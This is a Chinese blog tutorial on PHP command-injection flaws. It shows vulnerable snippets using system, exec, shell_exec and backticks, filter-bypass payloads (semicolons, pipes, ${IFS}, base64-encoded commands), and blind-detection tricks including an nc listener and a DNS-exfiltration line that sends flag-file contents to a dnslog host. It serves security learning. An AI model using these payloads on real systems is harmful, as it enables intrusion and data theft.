当前位置:网站首页>命令执行漏洞整理
命令执行漏洞整理
2022-06-09 15:14:00 【用户2700375】
命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。
命令执行相关函数
system
<?php
$c = $_GET['c'];
system($c);
?c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。
passthru
和system函数类似
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
passthru($c);
?>exec
exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。
string exec (string command, array &output, int &return_var)command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
打印$b的目的是获取每一行字符串。
shell_exec
<?php
$c = $_GET['c'];
var_dump(shell_exec($c));
?>本身也是不可以回显需要打印。
反引号造成的命令执行
另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。
<?php
$c = $_GET['c'];
var_dump(`$c`);
?>命令执行的绕过
规定执行代码
例如有这样一种情况
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
$rce = "echo 123";
system($rce.$c);
?>这里绕过方法不止一种
c=1%0awhoami 换行绕过
c=1;whoami 利用分号绕过
c=1|whoami 管道符绕过过滤空格
有些时候 我们执行命令 如 cat flag.txt 中间必须要有空格才可打开此文件读到内容。但是如果空格被过滤我们就应该用一些字符来替代空格
< 可替代空格
${IFS} 可替代空格
$IFS$1 可替代空格
%09 (url传递可替代空格)关键字过滤绕过
记得年底的时候貌似坐过一道命令执行相关的ctf过滤了关键字
这里题目记不太清了 简单写个思路
a=l;b=s;$a$b //大家都知道。。。
//利用base64加密解密
`echo d2hvYW1p|base64 -d` //linux下执行输出whoami命令 注意加反引号无回显命令执行
无回显情况如何判断 命令是否执行?
延时
http请求
dns请求例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?
管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。
如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听
nc -lv 8080收到请求则证明存在命令执行。
dnslog
请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果
你可能会问 为什么不直接flag.txt……..
脑子不好用 把PHP写成了 txt 只是个例子 自己把它当成flag.php就好了
ping的话发送的是dns请求那么dnslog肯定是可以用的
请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下
ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格这里将空格替换成666
`cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link访问一下拿到了flag。
边栏推荐
- pixi.js 平铺背景
- 軟件測試職業發展方向,6年老測試帶你走出迷茫...
- 【三、ServerName 匹配规则】
- Linux 运行升讯威在线客服系统:同时支持 SQL Server 和 MySQL 的实现方法
- [paper] cascade rpn: delving into high quality region proposal network with adaptive revolution
- Docker-Compose实现Mysql主从
- 【Typecho博客小白搭建教程】你离拥有自己的blog只差我
- 各厂商的数据湖解决方案
- 【二、虚拟主机和域名解析】
- 公司新来的阿里P6被辞退了,因为写测试用例不规范,躺平的悲哀?
猜你喜欢

How to write a test report approved by a large manufacturer? With these 30 sets of templates, I take off completely

List used by icomponent of unity dots

How many points can you get if the programmer's college entrance examination paper is exposed?

Geoffrey Hinton最新访谈:不出五年,我们就会破解大脑的运作机制,但不是通过反向传播

134. 加油站

ONES 冯斌:从工程师到CTO,与不确定性和信息不完备为伴|ONES Talk

BAT和FAANG的时代翻篇儿了,谁来接棒?

InfoQ 极客传媒 15 周年庆征文|云原生时代微服务架构设计实践

华为十大发明公布:高效加法网络、多目标博弈智能驾驶获奖

酒店长租是一门好生意吗?
随机推荐
品牌与产品的二律背反
美原油期货开户,要可靠安全的公司?
为什么 SQL 语句使用了索引,但却还是慢查询?
MH2103ACCT6国产软硬件兼容替代STM32F103CBT6
Zerossl supports applying for SSL certificate for IP address, but it is flawed!
mongoose连接多个数据库简单例子
3ds max 错误提示1603,vc2005安装失败,错误排查
[v. reverse proxy and related configurations]
【云小课】应用平台第43课 云小课带您快速入门多云高可用服务
Halodoc使用 Apache Hudi 构建 Lakehouse的关键经验
497. 非重叠矩形中的随机点
Taoist friends! What is the expiration policy of redis?
redis实现队列的阻塞、延时、发布和订阅
How insecure is NFT from copyright to assets?
详解Seaborn,看这一篇就够了
Docker-Compose实现Mysql主从
金山云 Q1 营收 21.7 亿:其中公有云 13.8 亿、行业云 7.9 亿
@Enablefeignclients annotation source code analysis
Triangular constant strain element (CST) derived from area coordinates
国货彩妆,败走618